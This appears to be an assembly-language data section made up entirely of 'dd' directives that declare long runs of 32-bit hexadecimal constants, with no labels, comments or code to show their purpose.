dd 0E5B71A70h, 239EF203h, 74726BF8h, 10D9122Bh, 231D3C39h
dd 917B24D2h, 0D74C4447h, 437EAA26h, 4C7A09BBh, 0C041ACF9h
dd 51F24AEBh, 1CDD01F7h, 0CE192D9Eh, 2DD448F5h, 3E3F6442h
dd 4B8B6D3h, 80BB5A1Ch, 0B2D7AA04h, 0F264763Bh, 4AD2438h
dd 0A74F47Dh, 0A7FB62AFh, 0A039AA61h, 0C2223CAFh, 739059FFh
dd 1FA7CF4Eh, 1F734A32h, 0F2D56351h, 0FBC8C4DDh, 9CAEB1CBh
dd 98BE5F7Ch, 0E04312EDh, 26370DAh, 0A72B2808h, 0C663D80h
dd 7E92A4Ch, 86FDC0AEh, 44A57F38h, 0ECC1F36Bh, 817921B9h
dd 4DB70FAAh, 0BA1EDCC7h, 2FA22ACh, 0EF388D92h, 0F7702295h
dd 0C0154836h, 60EA40ADh, 1AF97C33h, 0EA3F0643h, 0BFCDD187h
dd 0BEEFE970h, 6EEFDE26h, 28216706h, 713A40A7h, 386961B9h
dd 722532F9h, 0FA89585Fh, 0ECF14A63h, 0C96B82B0h, 640FAD7Eh
dd 1B7B0CACh, 0BCC0E70Eh, 5F08491Dh, 9A5CC20Fh, 0D50911E8h
dd 91941F2Ah, 2724FC0Dh, 0A35C4868h, 2BF4DD75h, 0FBB8E3Bh
dd 4A04D8A4h, 1FDF44FAh, 0D2232E88h, 0E7544A0Fh, 56B1B47h
dd 0BB5852E6h, 59233D27h, 0AB358EF5h, 60DBA70Bh, 0B95CBC0Ch
dd 11DCB41Dh, 50678001h, 2093DA94h, 90D75DB3h, 5843EFCDh
dd 0D747D980h, 87D40F13h, 19EEB146h, 42C6223Bh, 0E9AAE041h
dd 0F3899A9Eh, 0A0D2BF05h, 6AE1996h, 0B3AC8078h, 0C76B5066h
dd 7E4F5289h, 80FDE514h, 41915819h, 9D75BE74h, 74551B69h
dd 79E2ED80h, 0FCA690EEh, 0ECDF6C78h, 0D874F21Dh, 3D0BB364h
dd 56C46F82h, 79AB56C7h, 88B46D56h, 638D2521h, 56639CE9h
dd 372EB7BEh, 0A2819ADBh, 0B6FDAD2Fh, 0EFD6AD84h, 94DC2067h
dd 83472FAAh, 6D970CB1h, 0E902355Dh, 0CA89F96Eh, 0BC4E4FD4h
dd 0AF0F809Dh, 9EB79EF7h, 0CDB4EBA6h, 5D7DEA3Fh, 19B78E8Ch
dd 7983AED4h, 915A8C46h, 805D8329h, 12286F17h, 3FB85C94h
dd 0EDAC29CDh, 0C7EA4E00h, 0A247B163h, 89F9A1F8h, 54A71889h
dd 0C3F9E36Ch, 0E85193EFh, 4E6B761Ch, 0F6167A1Dh, 0C9B767Dh
dd 2D2864CBh, 87831E0Bh, 91FFECCh, 2016AE05h, 83A635C9h
dd 3D58720Dh, 0DE32FCF9h, 7E8A019Ch, 0A2AC9D91h, 94C0BAC9h
dd 82560080h, 1FE2136Fh, 0DF0F0587h, 1B575EC5h, 3A716A25h
dd 43FD6122h, 512CEB63h, 610D4A8Fh, 0E14D3C15h, 0F5FBBB55h
dd 159AA845h, 4A138D13h, 61538107h, 938B45D2h, 0AD2C4A1Ah
dd 986768E2h, 60EF4051h, 81BD5291h, 0AECC690h, 0DB46AC3Eh
dd 3762EEFEh, 0F8A744E2h, 0AB9FD8C8h, 0A04ADC2Fh, 74D9B59Ah
dd 56EA9DDAh, 8104B2A4h, 15D9778Eh, 48DB5CABh, 9AE3074Fh
dd 0E0A4DAFh, 0F11D498Ah, 9A336DBFh, 8639B2CBh, 49E56A50h
dd 0DAB63966h, 6D78879h, 9D55047Dh, 0D7B8A0E1h, 70E3C928h
dd 6D02890Ah, 0D4C852FDh, 0F4D11A75h, 4F8BC13Fh, 65AC9983h
dd 0BE2A0468h, 0E0ED179Eh, 0FB36951Ah, 44633A71h, 66F6A4D3h
dd 54D5594Eh, 81B4DF04h, 7D588A7Bh, 0A937D5EBh, 0C4B08DDh
dd 2E3BA180h, 13B41654h
dd 1148AFAEh, 59AF055h, 0D5B19EC6h, 9EB9B857h, 1ACF416Bh
dd 83FD9734h, 833822AAh, 0CA0D4158h, 319BB126h, 0A66A36B5h
dd 0B59EE9DBh, 32A29B03h, 5D6F2510h, 0D8FAC523h, 0C41DC590h
dd 9D3AC077h, 7C4333C8h, 8699F813h, 8A5D6212h, 0A11C1488h
dd 57231F1Fh, 941D49D9h, 3CB6E71Ch, 4F88C88Bh, 0CB3F118Ah
dd 8EE444AEh, 580D308Eh, 0D8B6F232h, 80DBA474h, 0AFC56BDAh
dd 0DEBFE064h, 99E42AB2h, 681FF742h, 9BE5F6A1h, 707BCA15h
dd 0C154AC81h, 0AE0E2859h, 97FE4904h, 0F0C78012h, 68230B5h
dd 0CF5525F3h, 54908E19h, 47D876BCh, 434C3F9h, 62594980h
dd 389FD981h, 8AFA8AC5h, 9BB51BDBh, 7A8D2ED8h, 1ED67945h
dd 1AB437F1h, 2F240D66h, 76B102DEh, 0BBBA7305h, 0D4B9BD89h
dd 0EF8976BAh, 3AF9D222h, 0FC1E5087h, 393098F1h, 4484F4D5h
dd 9AA29D1h, 978B3BD9h, 3ECF11A7h, 1929FF40h, 0A6A47974h
dd 8C79E856h, 5A1699CAh, 0B81463E4h, 1848A41Bh, 0BD2F6ACBh
dd 0B44C97B8h, 9D4CE9D7h, 4FADC4E0h, 0AA117D8Fh, 8CADE925h
dd 92CE29DFh, 0A119B5A8h, 0FC5E64E7h, 6DA260DCh, 0EFD66FBCh
dd 0D8E1622Ah, 0C6B6338Ch, 12C28536h, 9EC2CB82h, 43F27171h
dd 3E8CEA57h, 7ADAADCDh, 0DBE6531Fh, 0B1BE9168h, 2F131A8Ah
dd 0B87D01BFh, 74EE394Dh, 0AD85E76h, 7D7E4995h, 0ADA1F623h
dd 8587986Bh, 7142F2BEh, 8304C495h, 4EC2D07Bh, 0BEF0C198h
dd 41812668h, 0D153F751h, 4BDDFF28h, 177DEC7Bh, 73FC11C8h
dd 0D55297CAh, 2241B3BAh, 7DB80C43h, 0B5F3911Ch, 0C037F195h
dd 0A5A40C6Bh, 9F299B97h, 0A6A791h, 5506F452h, 0FA94A944h
dd 6B3D73C5h, 4DC7352Ch, 6239472Fh, 4B938F52h, 0C8EFA4CBh
dd 119B64A5h, 0B48E8916h, 0A415F7E1h, 1E0AB1B7h, 0D49F66F2h
dd 6AA0A6FAh, 202CADCh, 95976Bh, 5F3A83Fh, 0D6051AFCh
dd 0D1F6E9BCh, 0B344020Eh, 20E29634h, 11FE655Eh, 37F45036h
dd 34CA05F1h, 8F2E0A1Eh, 0A8FCF088h, 63E342B7h, 0C72DB909h
dd 3AEDC813h, 6CA677A2h, 8673A1C7h, 1FF4F95Ch, 2743FBD7h
dd 0A35807C8h, 0B3B4C0B9h, 393D9045h, 0AFC7B2FDh, 9356BF9Fh
dd 0BBAF54B9h, 265A6F4h, 1022C1C9h, 0D5F9A74Fh, 0F87483FFh
dd 0B487066Eh, 0AEB33B52h, 0DA5E921Fh, 66ECBB39h, 90F01B0Ah
dd 2F18C2D4h, 223E2B7Bh, 0B5D0792Bh, 0B22927Fh, 0BE5D9E16h
dd 0DA70C858h, 94B9F6AEh, 8126422Dh, 4F019BA0h, 0DE68D720h
dd 37CC0326h, 42349079h, 3213606Fh, 0A9864ABAh, 0BA4B007Fh
dd 6DBA0C4Ch, 0D0961829h, 10781007h, 271ED957h, 0DDCD41A9h
dd 1BF282C2h, 17C1B9BCh, 0F3D52003h, 24FA7B6Fh, 42CDF076h
dd 14DB3B90h, 9E7CCA34h, 0BCECCDF9h, 761B9ED2h, 1DBA2761h
dd 68FF1301h, 0CB259048h, 0BB074C0Eh, 118FB2DAh, 0F962D4FBh
dd 0BEF65929h, 0DC1A0166h, 720B4E11h, 9E2C7288h, 0D545BE66h
dd 9D64FE95h, 2D7D1E21h, 89158BDFh, 0C963CD93h, 0FECEA283h
dd 0C7B78164h, 0AE7C56CEh, 4408649Eh, 97B801Bh, 0E97D33E7h
dd 0BBC9687Eh, 0E62315C1h, 0E30DA93Dh, 0E25091DBh, 2C6FDAF0h
dd 9B6359BCh, 0E7CBFF86h, 0D93EF403h, 97CD2123h, 2310E2Ch
dd 2AE28956h, 664574ADh, 8B430FA8h, 0E4380BC8h, 31A3FF1Eh
dd 0DC932B90h, 0D01A4F3Ch, 0B8DE466Fh, 5D66E259h, 663BEB3Eh
dd 0D2242664h, 254BD31Bh, 0C3EA49FEh, 0F6BC80C0h, 3C30B310h
dd 845E059Dh, 0FE368F00h, 1E20622Ah, 0E102357Bh, 850DC071h
dd 245937ACh, 26045F02h, 247F3C47h, 0A83763E1h, 9D43BF8h
dd 0D049983Eh, 5B5129A0h, 4DE78BF2h, 17076161h, 0DF68FC71h
dd 0E5B82887h, 6C039FA2h, 0B12DB9CDh, 0D793D593h, 0A4AD2A1Bh
dd 4553A84Eh, 8870F4Ah, 0CEBF2995h, 182AA65Ch, 90FD8F3h
dd 0E8A98E87h, 0F9564C4Bh, 82015C9Ah, 0BA667630h, 0AB8C918Fh
dd 61CF25E6h, 61260E3Eh, 7EAE2B6h, 53FCA355h, 87DC33CDh
dd 0B1CD96C2h, 0F23E3FFAh, 3912E702h, 7F9F7B3Bh, 87461423h
dd 42465A94h, 0C3A1EEC1h, 0DB4E1E55h, 1CE39734h, 6B2E4264h
dd 0F93AA2A7h, 7A07C635h, 0B5723307h, 0F2D02CC1h, 0A1D7A2DCh
dd 0F8A0EE05h, 0CC72AAACh, 16036D7Fh, 3FA95E7h, 8D9BCF15h
dd 83A47FA8h, 0EFB2CAA1h, 0F8A8F32Bh, 0C151A7D3h, 0D0E5EA89h
dd 12F6EF77h, 0FAC92404h, 0E101E45Fh, 78ED0008h, 0BEA9C614h
dd 0D53B4133h, 0E2EF83DAh, 9E282705h, 7A3D26F0h, 329EF4C4h
dd 0EAD98FD0h, 59EA51F2h, 7C90B12h, 0BBE5113Dh, 5BFC2648h
dd 50576E7Ch, 0ABF3593Dh, 2F70D426h, 0D8CCF9D6h, 0A8AF9FA6h
dd 0EC1C8A23h, 9E30DDDBh, 0F0F7DB0Dh, 0A03F4F7Dh, 0F8874281h
dd 1544BF8Ch, 3967DE25h, 6F91FA35h, 73AC7031h, 4AB7C3F7h
dd 94D13F2Dh, 810C3951h, 3B667A74h, 507571E2h, 0FD37A5FBh
dd 0B621E577h, 0C7D2730Eh, 0ECFF3E3Ah, 171E8EE3h, 0D1F7A5F9h
dd 0B95CDE46h, 56EBCE77h, 93AB5230h, 0B5285489h, 0E8E04951h
dd 0BF719F67h, 7BC89332h, 51DD65Dh, 771BED3Ah, 0BAE157F4h
dd 0D57B5B15h, 797A99C9h, 8E1E0D03h, 0DC029C4Fh, 0D718A164h
dd 98590703h, 0A7384AB1h, 9F91B1A9h, 572F477Dh, 38C73E6Eh
dd 0A32B34D8h, 0E561D96Ch, 9666A4BFh, 0CFB345C7h, 0FF2A6C8Bh
dd 0ADA042E3h, 0FEAB84DEh, 0FFC033D2h, 595C1B85h, 0DE401976h
dd 9F21533Ah, 450FB415h, 6A024936h, 0AB95B93Ch, 9A880D73h
dd 86C658E7h, 91A2B042h, 695E36E3h, 645CC76h, 3779C7B3h
dd 0B52E3E49h, 0E853CE04h, 800E962Eh, 0A851F366h, 121C2E1Dh
dd 0A9E6D105h, 8441260Ah, 2B1C4FB4h, 55C60481h, 0AB429B82h
dd 8C0AF652h, 3E8047C4h, 0C90EB9E7h, 3611DEB2h, 638AEE9Dh
dd 316125Dh, 0F9B1CBF3h, 0B1230C40h, 0B2A85BF6h, 6432658Ch
dd 83556548h, 119D4514h, 2ECB7472h, 7ED6E3DBh, 0A22CB89h
dd 81037319h, 5E7793F9h, 6BC859A8h, 0BD783158h, 0EB8CD948h
dd 10CEB64Dh, 0E492BFF6h, 4FB53800h, 0C81E2CDCh, 599C3160h
dd 0B2B096D7h, 0BC40A5CFh, 23453ADEh, 5D168433h, 0ED69BE35h
dd 309F409Ah, 0D1AE6CA4h, 95953192h, 1102D5DAh, 21384F1Bh
dd 86256F06h, 1FC8CDC0h, 0DA03391Eh, 0ACF89C85h, 440FA2F4h
dd 8F378F00h, 0D737ACAEh, 6D117322h, 51F34758h, 0D0FD3BD8h
dd 0C7632115h, 899F2055h, 0F05BF1A3h, 1024BBE4h, 2EB1213Ch
dd 8BA99370h, 0C0696123h, 0B9F2EADAh, 0B3F02B1Eh, 53CBF788h
dd 1C5C59D7h, 218E4E15h, 0D9102304h, 0EA649296h, 0C0F0344Dh
dd 933A8430h, 2B38A15Fh, 9918B2CBh, 0F95ED7A6h, 14FBFF4Ah
dd 0BB5A56E0h, 0C0BCB6E3h, 437D4347h, 0FD669B2Ch, 4DE4159h
dd 9725CFC7h, 8B0CD4DAh, 4F06E865h, 88419ED3h, 0F8E8292Ah
dd 0E364C3D5h, 217124CBh, 4F00E17Bh, 438BEDCDh, 8B34A1F8h
dd 0DBB0BC09h, 0AA8D9119h, 0D4134078h, 0CFC22F9Dh, 0EF408FD0h
dd 19547405h, 42806F09h, 0F309BF86h, 0ABB9EBCEh, 0EDB4876Eh
dd 5694AE69h, 6F89E5DDh, 0F32C0295h, 0E5F7A6A9h, 6E060274h
dd 0ADDBA307h, 10130E20h, 243CD624h, 744D0C0Eh, 0EC9AAA5Ah
dd 0D7AC333Eh, 0BC40EFF1h, 9FEC88ABh, 0CEEF8B98h, 0DA207317h
dd 0E3BE1A24h, 0D33389h, 0E3397C6Ch, 2673CBDh, 2FA08844h
dd 0AC759D7Dh, 33087C06h, 5E518C26h, 1EFE33E8h, 58695521h
dd 91137158h, 5BBC8135h, 5742E48h, 0F21D02E6h, 0FEDEEBF0h
dd 893306h, 58CC98E4h, 0F7D2002Ah, 7EBFEE3Bh, 0C07615D6h
dd 95DE44FCh, 73FDF7Fh
dd 0E82304CCh, 4249EBE4h, 320BDEA2h, 819AB9BFh, 0AB1189C6h
dd 0B8A682E5h, 4FCCD5DBh, 97EB275Dh, 92C52EE5h, 0ABEBE4CAh
dd 873481D4h, 23354908h, 0BE7106F2h, 0E857E901h, 0B1AC29FCh
dd 0F07AC0C0h, 7241C92Eh, 0BEBD7E4Eh, 1564622Ah, 0AE322BA4h
dd 4F8F1FF1h, 7EA0BCA8h, 1BA974h, 0CD546D92h, 0B8EBE7C6h
dd 0B39CC1DFh, 543A76D0h, 0D5B76668h, 2E632D19h, 75547DC0h
dd 69F7D7CFh, 0BA0F8C23h, 0F362D96h, 98BB9328h, 0EED0F8E9h
dd 559B7A5Dh, 0BCB809A0h, 9A2A7BC4h, 5AF3E132h, 0FCE053h
dd 0BD30FCC3h, 0CEAE268Eh, 3BBDF631h, 9FC2309Eh, 0D7DD2457h
dd 5008C4D2h, 365528A4h, 0A8D971Ch, 0D98683C5h, 46346C97h
dd 0B85740C5h, 0C1CA7FBEh, 6BBB4Ah, 7B9D2DC5h, 0D8C9A021h
dd 21C42AA6h, 3D0274E7h, 0EF1D4DF3h, 4EFCABE7h, 0EAA4A9D5h
dd 5E2D9AD0h, 8670E67Dh, 70499B14h, 0BC7E4CC4h, 0AC3FB4B5h
dd 94681DA1h, 61E73DC1h, 22F3028Dh, 0A4C4FC61h, 217DDA71h
dd 0A9BDAA1Ch, 74DE56EFh, 1DD0A0C6h, 97C56185h, 0EB0978EAh
dd 1185707Eh, 170EFE0h, 0E63273BEh, 6E84329Ah, 0F1BA227Ch
dd 5EAE57E1h, 0DC16A43Ah, 2AA41A3Ah, 16BF1B4Eh, 5D87DDA1h
dd 750052D1h, 9BD90DD2h, 15CDB847h, 812E9B25h, 0BB00746h
dd 5C7CA6FEh, 0E1080B09h, 0C29B5D11h, 0EED065FCh, 15637D3Fh
dd 0C5ED7321h, 0B9D7833Ah, 7F57C5F4h, 4ED63421h, 0EF7F8F31h
dd 0E591D4BDh, 0D4E77809h, 5F8C76E0h, 88E961B8h, 0DDFA10Ah
dd 1BD14F5Eh, 0C3AE8FB2h, 6006FAA3h, 42AA68E8h, 3D445ABAh
dd 0CAAB7AD0h, 0BA14AF4Fh, 0C23FE894h, 0F9C35F6h, 2CCF7E09h
dd 0B97283BAh, 0D776D1CDh, 0F489C56Bh, 5B4AA643h, 72AB1B33h
dd 657B4737h, 443E5FAh, 772FD75Ch, 3FE90AEh, 0C8AE763Bh
dd 977B7792h, 0FA9561A4h, 0C199C98Bh, 0C89E2868h, 6B22C1DAh
dd 4D8F3245h, 0FDB5366Dh, 58E862AEh, 55207424h, 7C6D954Eh
dd 4D1E972Eh, 2BA61ADFh, 4981F130h, 1FBF7B9Eh, 3C3736B5h
dd 65E10B3Fh, 56682DE6h, 0E0BA5A05h, 8E24252Dh, 0F351A57Dh
dd 737246F9h, 0E4AD3184h, 0A3242156h, 0A5CE843Ch, 0AA64ECABh
dd 6BFB970Dh, 0AD6DA7F4h, 40549908h, 0E0FB17EEh, 9B169756h
dd 6E9D1ABh, 0D819563Dh, 13AFE6ECh, 2200F643h, 52A4AC23h
dd 573EB0C3h, 0FB3C342Eh, 369F252Ch, 8208F529h, 33866F43h
dd 8D20B50Bh, 0FD9AB327h, 1E7B4944h, 69CDC21Ch, 8CFF7C23h
dd 8C0C3E10h, 5C7937F3h, 481A80E1h, 42A334BCh, 340FF06Fh
dd 5DF55514h, 4852CD1h, 4F23CD70h, 688F2AACh, 0E1626B35h
dd 8DDA3369h, 0B8846590h, 0F0F0FD04h, 5E444471h, 909D6A57h
dd 0B46E4345h, 1A2F2AFDh, 0A87B9Ah, 874946A0h, 7F1A65E8h
dd 3B889D9Bh, 0F887FAC7h, 56FC3DDh, 5A39AEC0h, 77F99C4Eh
dd 2EAB5379h, 0ECB389CDh, 8683941Fh, 954421D4h, 0D276A3C2h
dd 11452550h, 92202BF9h, 0CF6D74DCh, 45EE8911h, 30777862h
dd 50FA34D7h, 60475C46h, 66A37CE0h, 2682511Ch, 6EB69046h
dd 0B3CF1912h, 0BDCB1C96h, 0C417EC17h, 0D8718164h, 0A9C5D167h
dd 0B953E828h, 640D0412h, 5D15EC82h, 9C936DE2h, 0D1D97557h
dd 6AF72C75h, 9722CB9Ah, 0F761E258h, 616D3012h, 0EBB7E3D3h
dd 2B8F31D3h, 6C15E0C3h, 2DCCEB87h, 8298BF15h, 79704E13h
dd 45B10A5Dh, 0CC016762h, 822C65CBh, 7DBB001Bh, 4F3AC578h
dd 2D029184h, 0B1106EDDh, 3D77CAB4h, 7541B707h, 4C3CC6E7h
dd 7C53310Dh, 5A579AF9h, 9810A6D3h, 0F86B2A8Ah, 0A7F55D3Bh
dd 574840D0h, 913193ADh, 0FF8269AAh, 0F32E48A7h, 0AE383ADBh
dd 94A57EA2h, 8B04CA3Ah, 0AC3E71ADh, 0EEA259E9h, 49413B1Eh
dd 75B56D66h, 0B814CE00h, 272A6530h, 7E991D08h, 1CEE04E1h
dd 0A069AEB8h, 81017F35h, 4E22B31h, 0F2CAEAA2h, 24AB06E4h
dd 0F21A405h, 6F711154h, 45ADD5C3h, 2A5C54Bh, 0F514596h
dd 0E0C811A9h, 127A80A7h, 1DAA3743h, 0DCCC261Eh, 52DC5C27h
dd 0B6F18AFFh, 0CE203AD4h, 56E8DCB4h, 932E5E51h, 0F13B6Ah
dd 0D28E038Bh, 0BCD01795h, 495480B6h, 0DFB586AFh, 6CB2705Eh
dd 0BD38B5F0h, 0F4738B1h, 0EEB77B0Eh, 0A8954874h, 84FDCCB7h
dd 0B3087403h, 5ABE3D57h, 5E9BECD0h, 0C3D8BA82h, 0B171EEF3h
dd 3FCC8CCEh, 18C31F37h, 0EE8E3157h, 0E0897726h, 0FA22D487h
dd 9EA23324h, 80AE7B67h, 2F1E85A2h, 5D1C3BE9h, 9B6C6330h
dd 57B0440Eh, 0AE2F08B9h, 0A5820905h, 6FFFCD0h, 4EC19683h
dd 0CD7F0526h, 0CE00227Ch, 9874197h, 0D12586BAh, 9968EB07h
dd 48156C0h, 64950807h, 9DA0EF42h, 0F881E7E5h, 6DF8C3AAh
dd 12E3A12Bh, 847F1581h, 9AAF71B2h, 49715749h, 0FE4CE43Dh
dd 0D8F903B6h, 0D201917Ch, 9168DAF6h, 76A498B6h, 0EC7AD336h
dd 9C175893h, 7DA5B5C6h, 81FFE53Dh, 0C7D28B62h, 0F7C2BCD4h
dd 2B5220A0h, 2648FAD8h, 1FE6ECD7h, 1135961h, 0DD8BC61Eh
dd 0C315EDFBh, 4EF4CD23h, 0F2F16150h, 0BE40A9B8h, 32A33876h
dd 98755144h, 5C1CA5FEh, 7491F7C7h, 80566500h, 0A7C2A53Ch
dd 0A099AF3Bh, 9C2C0060h, 0DD9A6F38h, 78F1A270h, 3E84FCC2h
dd 0E0A69BCBh, 7FCFFF99h, 29882664h, 921CF71h, 83CA63Ah
dd 0F5219746h, 8573D931h, 9B9AE24Ch, 0C28DA965h, 434C3228h
dd 0C722927Fh, 4B667621h, 0AF9E632Fh, 0AFC932C7h, 3926DB52h
dd 3F534C74h, 7CFD5587h, 446E864Fh, 75289708h, 0C607E089h
dd 0F60B4272h, 0E4A69B03h, 3289B38h, 0BF1D2AF1h, 0FB1AF780h
dd 16083D9h, 0C2F177B7h, 45C43CF8h, 7A8253D9h, 0DD1169B5h
dd 2A1B973Ah, 63149D54h, 65C7C502h, 0A5D11A35h, 0AD17BBCAh
dd 6782A075h, 6D08F621h, 0BBE01622h, 3B2CB3F7h, 762806A6h
dd 0A58421C8h, 0DA03E952h, 3029294Dh, 0FC121C98h, 0C8F177BCh
dd 3DCA8E58h, 0C30F0646h, 0E0864E18h, 609D675Ah, 5067B1F2h
dd 0E3A5A819h, 9953017Dh, 4F3A09D5h, 27A906D1h, 85923DB9h
dd 4D628E35h, 1C65B794h, 0F1CF53F7h, 81A094A1h, 319D2424h
dd 7173ECh, 86ACCC4Ch, 4D5F045h, 0DDAC4B39h, 49E21018h
dd 5ED489FFh, 0CE86BF5Bh, 0AC960B45h, 296371E6h, 0EE7A4250h
dd 98B55100h, 2436C1F2h, 5760B84Ah, 9369EDE4h, 0D01476F8h
dd 1A3CD62Eh, 0B17ADAABh, 1A2CD017h, 11CF0C22h, 0FD6844Bh
dd 0CDF64033h, 818B7D91h, 0B7AACE15h, 0B41E2ADh, 0AF1E859Eh
dd 9C578DDAh, 57B980B7h, 133763DBh, 0CB665A76h, 2F20867Eh
dd 0C99651A0h, 1E3580BCh, 0D8A8139Ah, 5054E93Fh, 3B94518h
dd 0EBB6D69Ch, 8C40A2A5h, 92880911h, 810601E8h, 674C42D9h
dd 41657B1Eh, 9F1E52A6h, 4CF507A5h, 1A21B735h, 466E8171h
dd 0CC5B766h, 2E8AC7D8h, 71E006DAh, 5EFC93B8h, 0B44D658Bh
dd 70C99C09h, 7B969C65h, 0C1D8F082h, 0E8206E7Ch, 0F6F35D94h
dd 3852175Fh, 1AB88BF6h, 7AD5DB01h, 9F9463A7h, 12E163DAh
dd 5FC18C5Dh, 0F1185E2h, 520AB265h, 373EA1F7h, 0B5C0C77Eh
dd 2625A207h, 4D210EB7h, 18F4D036h, 0BAEA49F4h, 81640792h
dd 1694707Dh, 6FF76FD5h, 83D0EFB6h, 0D867F94h, 50C59D36h
dd 8269309Eh, 0E7D1CC5Ch, 96442F56h, 0F61EAD55h, 81C77219h
dd 4ADC637Ch, 63786580h, 0DF740461h, 9743A5Bh, 43AE9466h
dd 0AF6293D2h, 734DFEBBh, 0C6DD98B0h, 0F8E09382h, 379BB851h
dd 0AE388975h, 1D6EC64Ah, 0F6C8DFE1h, 36C26BC4h, 0CB237F97h
dd 828CF070h, 6D174108h
dd 0A22E9820h, 58EB25E9h, 0FEEB3746h, 6CA20662h, 4FAF0345h
dd 0EBABAE38h, 0A5CBFDECh, 530381C9h, 580B5796h, 6648F79h
dd 40E21A13h, 1194C518h, 90F5B781h, 57C2879Ch, 1EF9FB68h
dd 0A15CE227h, 39CDF15h, 0CBB7B741h, 0CF2A6096h, 0DC076946h
dd 0D1C0BA6Dh, 277A25B0h, 0C77CB595h, 0B4E519F3h, 608F21E1h
dd 74CA4A9Ah, 0D087347Ah, 9310C72h, 0FC40BC0Eh, 7AC4A251h
dd 62027158h, 34A1D93Ch, 0EF7FDFDDh, 0DC3A537Bh, 437CBD8Fh
dd 52BD62D7h, 7D403A4Ah, 6EB7DABBh, 0DC951EA8h, 20C8BA2Eh
dd 8793DFEEh, 0F0F828Bh, 9E7BE49Bh, 0FF8FCA59h, 7FC5B0F1h
dd 15EA0DD4h, 0B7B57326h, 49E499FDh, 3947A296h, 757C4121h
dd 54E54B09h, 2805E1ACh, 0F257EEAFh, 297610A4h, 0EEDFDF76h
dd 417315F8h, 0EF9C9724h, 0C6B2A2C4h, 9382B23h, 575A533h
dd 64A679D6h, 7A37D783h, 9E45AD37h, 0CE6A7ABEh, 0D87002CFh
dd 7994775h, 8B15943Eh, 0EF631052h, 0DC2F3601h, 0F6C8C1DAh
dd 66DB0088h, 0E0269993h, 56E63794h, 70B2DC37h, 0D026782Dh
dd 6C0BA78Bh, 0E1DAC11Eh, 797AEE5Ah, 0DEBD528h, 578D61ECh
dd 9FC4EC92h, 0B01F8BA7h, 62048ECFh, 7B0F6906h, 18991A06h
dd 0EF7B7096h, 0CB014292h, 9CC9E3E6h, 0DAD5DA2Eh, 0CA4BAE91h
dd 0AB13DE8Ah, 3F04CBE2h, 16A41128h, 304C58B2h, 6F3C50CBh
dd 9E292B60h, 9436FB15h, 5AAE2D6Fh, 0B94B5B3Ch, 743B16A4h
dd 13940B57h, 0DD3E010h, 0C7411881h, 0F2CAFD98h, 0F03FC239h
dd 0E4245485h, 0BD3F3C2Eh, 146465DDh, 0F5CA86E5h, 4573D35Bh
dd 6D9E6395h, 2744D989h, 7DDF33CCh, 0DEAB0760h, 2D44014Eh
dd 2287BA8Dh, 9EADF2FAh, 6D09F216h, 0BD963658h, 0DB493D19h
dd 0CEAFFFFAh, 0C608F826h, 1BA70EADh, 0CC80F80Dh, 0DDD2C198h
dd 0E9C34BCCh, 71E32E1Ch, 484A6804h, 414D3160h, 72E71FA2h
dd 0ABF821Bh, 91A0A5FDh, 0CA61ADC4h, 4E0F6917h, 0A5408D84h
dd 5BD0C823h, 0D3AADE83h, 22A75B50h, 962D7DE9h, 6DBFCC2h
dd 6412931Dh, 3A0E90C9h, 2AFD6D9Ch, 0A454D8BBh, 14352FFEh
dd 8CFE27F6h, 0C86DEADDh, 91A40BE7h, 0E3EDDFCFh, 0D477B146h
dd 0E0DF942Dh, 0E6F508FBh, 0DA237A21h, 9731FEBDh, 85DDB223h
dd 8514B32Fh, 0DC5E35AEh, 0BF9388F7h, 2098D701h, 0AF76051Bh
dd 3988C6F5h, 0ED21AB66h, 0D16CCBECh, 6E0B4C70h, 6DA08F81h
dd 0B3F4FCEDh, 35CDCB6Eh, 83617AEEh, 0C652DFF6h, 0D1106960h
dd 0E7317A32h, 8499FFF3h, 0D188D258h, 7A4F3644h, 0BABD1C86h
dd 41A5C4B0h, 0EA2ECEABh, 0D5B8D5B9h, 611F8C5Eh, 1576ACA8h
dd 0BAD62897h, 2EE43A3Ah, 172C96DFh, 71D34CE6h, 0E7DEA56h
dd 93A8A226h, 2848AD99h, 199C767Ch, 0CC9F4EBCh, 86569BB8h
dd 0AB997FB7h, 0F63A59F4h, 0CA2903ADh, 33E8997Ch, 39D97F9Ah
dd 7C096372h, 338F0F10h, 4D97CB54h, 47D540F9h, 777A9120h
dd 1BE19D38h, 2A03C9FAh, 0FB80AFD9h, 0FF335303h, 29297084h
dd 1B690129h, 6D5A3922h, 4A520537h, 0DF5E57E8h, 0A22133A2h
dd 443EAA2Eh, 4BF734C4h, 92B0F1F0h, 0AB5ACD27h, 364EC0B4h
dd 0C8D19B4Dh, 66B52F44h, 0B205E095h, 6C65Eh, 4C385AF7h
dd 0A9CCE8C7h, 0C420F37Ah, 0B6768F46h, 0BCE434F4h, 0DFE772C8h
dd 14AFFE76h, 7392ABC6h, 0F5A7AFB9h, 2AA9290Eh, 28C7E13Bh
dd 58B57627h, 7915C604h, 8B3F74Ch, 731A915Dh, 4E9D8534h
dd 0B84F4063h, 0E12D6163h, 73A975DBh, 0ABA0D344h, 46AC069Bh
dd 860F374Eh, 0F0208BC4h, 3D32F83Dh, 4C42537Fh, 0DEB149B2h
dd 0ABC1BAD2h, 0D5869F2Ah, 2C95B509h, 64CC2BBAh, 78199FB9h
dd 0BE735818h, 61C580AAh, 1704CE93h, 0FC92C6Eh, 7C8EF31Dh
dd 0A60E52E9h, 0B282868Fh, 0D0CF2833h, 0EE5CF3D7h, 0EB9FDA1Ah
dd 1106EBAh, 0F6784E0Fh, 32E15499h, 0AD50B74Fh, 0B0573E18h
dd 0CB8255ACh, 0FB45EDD3h, 0F63883A2h, 0DC081123h, 736491E0h
dd 774E8FDCh, 2F86ECC4h, 4024EB48h, 5E8E4C8Ch, 0E993450Eh
dd 4795CB05h, 305B2749h, 779DDC4h, 0EAE0E457h, 5B3950D2h
dd 0E2D69A32h, 26FC2A30h, 99463B47h, 0C1B073A5h, 97A406F6h
dd 7B37A46Dh, 716274Fh, 3183E745h, 4FD7B259h, 0A19816D0h
dd 0B6F48C33h, 1C6C634Dh, 0AF50F7ABh, 83C768CFh, 1C6AAE20h
dd 0DB19130Bh, 0D137CBF9h, 0FEB78990h, 0E6D0035h, 13A8C29Ah
dd 56808E0Bh, 0F7417A42h, 950D5741h, 11650972h, 0DB1593Fh
dd 468F606Eh, 0EFDE8774h, 0C7CB9FFEh, 911CC85Fh, 0E91CB0BAh
dd 12D9F825h, 85CA0480h, 0A30720E5h, 2C6ACF2Dh, 63F5176h
dd 9B8734CEh, 59AEAB7Ah, 2B6BA66Fh, 0FFC000F1h, 615700BEh
